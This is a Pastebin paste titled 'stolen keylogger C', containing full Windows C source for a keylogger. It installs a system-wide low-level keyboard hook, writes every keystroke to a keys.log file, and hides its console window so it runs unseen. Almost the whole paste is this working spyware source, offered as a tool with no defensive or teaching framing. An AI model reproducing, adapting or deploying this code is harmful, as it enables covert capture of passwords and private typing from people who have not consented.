SHARE
TWEET

stolen keylogger C

a guest Apr 17th, 2015 328 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. // This code will only work if you have Windows NT or
  2. // any later version installed, 2k and XP will work.
  3. #define _WIN32_WINNT 0x0500
  4.  
  5. #include <windows.h>
  6. #include <winuser.h>
  7. #include <stdio.h>
  8. // Global Hook handle
  9. HHOOK hKeyHook;
  10. // This is the function that is "exported" from the
  11. // execuatable like any function is exported from a
  12. // DLL. It is the hook handler routine for low level
  13. // keyboard events.
  14. __declspec(dllexport) LRESULT CALLBACK KeyEvent(
  15.         int nCode,      // The hook code
  16.         WPARAM wParam,  // The window message (WM_KEYUP, WM_KEYDOWN, etc.)
  17.         LPARAM lParam   // A pointer to a struct with information about the pressed key
  18.         ) {
  19.         if ((nCode == HC_ACTION) &&       // HC_ACTION means we may process this event
  20.                 ((wParam == WM_SYSKEYDOWN) ||  // Only react if either a system key ...
  21.                 (wParam == WM_KEYDOWN)))       // ... or a normal key have been pressed.
  22.         {
  23.                 //  This struct contains various information about
  24.                 //  the pressed key such as hardware scan code, virtual
  25.                 //  key code and further flags.
  26.                 KBDLLHOOKSTRUCT hooked =
  27.                         *((KBDLLHOOKSTRUCT*)lParam);
  28.                 //  dwMsg shall contain the information that would be stored
  29.                 //  in the usual lParam argument of a WM_KEYDOWN message.
  30.                 //  All information like hardware scan code and other flags
  31.                 //  are stored within one double word at different bit offsets.
  32.                 //  Refer to MSDN for further information:
  33.                 //
  34.                 //  http://msdn.microsoft.com/library/en-us/winui/winui/
  35.                 //    windowsuserinterface/userinput/keyboardinput/aboutkeyboardinput.asp
  36.                 //
  37.                 //  (Keystroke Messages)
  38.                 DWORD dwMsg = 1;
  39.                 dwMsg += hooked.scanCode << 16;
  40.                 dwMsg += hooked.flags << 24;
  41.                 //  Call the GetKeyNameText() function to get the language-dependant
  42.                 //  name of the pressed key. This function should return the name
  43.                 //  of the pressed key in your language, aka the language used on
  44.                 //  the system.
  45.                 char lpszName[0x100] = { 0 };
  46.                 lpszName[0] = '[';
  47.                 int i = GetKeyNameText(dwMsg,
  48.                         (lpszName + 1), 0xFF) + 1;
  49.                 lpszName[i] = ']';
  50.                 //  Print this name to the standard console output device.
  51.                 FILE *file;
  52.                 file = fopen("keys.log", "a+");
  53.                 fputs(lpszName, file);
  54.                 fflush(file);
  55.         }
  56.         //  the return value of the CallNextHookEx routine is always
  57.         //  returned by your HookProc routine. This allows other
  58.         //  applications to install and handle the same hook as well.
  59.         return CallNextHookEx(hKeyHook,
  60.                 nCode, wParam, lParam);
  61. }
  62. // This is a simple message loop that will be used
  63. // to block while we are logging keys. It does not
  64. // perform any real task ...
  65. void MsgLoop()
  66. {
  67.         MSG message;
  68.         while (GetMessage(&message, NULL, 0, 0)) {
  69.                 TranslateMessage(&message);
  70.                 DispatchMessage(&message);
  71.         }
  72. }
  73. // This thread is started by the main routine to install
  74. // the low level keyboard hook and start the message loop
  75. // to loop forever while waiting for keyboard events.
  76. DWORD WINAPI KeyLogger(LPVOID lpParameter)
  77. {
  78.         //  Get a module handle to our own executable. Usually,
  79.         //  the return value of GetModuleHandle(NULL) should be
  80.         //  a valid handle to the current application instance,
  81.         //  but if it fails we will also try to actually load
  82.         //  ourself as a library. The thread's parameter is the
  83.         //  first command line argument which is the path to our
  84.         //  executable.
  85.         HINSTANCE hExe = GetModuleHandle(NULL);
  86.         if (!hExe) hExe = LoadLibrary((LPCSTR)lpParameter);
  87.         //  Everything failed, we can't install the hook ... this
  88.         //  never happened, but error handling is important.
  89.         if (!hExe) return 1;
  90.         hKeyHook = SetWindowsHookEx(  // install the hook:
  91.                 WH_KEYBOARD_LL,            // as a low level keyboard hook
  92.                 (HOOKPROC)KeyEvent,       // with the KeyEvent function from this executable
  93.                 hExe,                      // and the module handle to our own executable
  94.                 NULL                       // and finally, the hook should monitor all threads.
  95.                 );
  96.         //  Loop forever in a message loop and if the loop
  97.         //  stops some time, unhook the hook. I could have
  98.         //  added a signal handler for ctrl-c that unhooks
  99.         //  the hook once the application is terminated by
  100.         //  the user, but I was too lazy.
  101.         MsgLoop();
  102.         UnhookWindowsHookEx(hKeyHook);
  103.         return 0;
  104. }
  105. // The main function just starts the thread that
  106. // installs the keyboard hook and waits until it
  107. // terminates.
  108.  
  109. int main(int argc, char** argv)
  110. {
  111.         HANDLE hThread;
  112.         DWORD dwThread;
  113.         DWORD exThread;
  114.  
  115.         HWND hWnd = GetConsoleWindow();
  116.         ShowWindow(hWnd, SW_MINIMIZE);  //won't hide the window without SW_MINIMIZE
  117.         ShowWindow(hWnd, SW_HIDE);
  118.  
  119.  
  120.        
  121.         hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)
  122.                 KeyLogger, (LPVOID)argv[0], NULL, &dwThread);
  123.         if (hThread) {
  124.                 return WaitForSingleObject(hThread, INFINITE);
  125.         }
  126.         else {
  127.                 return 1;
  128.         }
  129. }
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top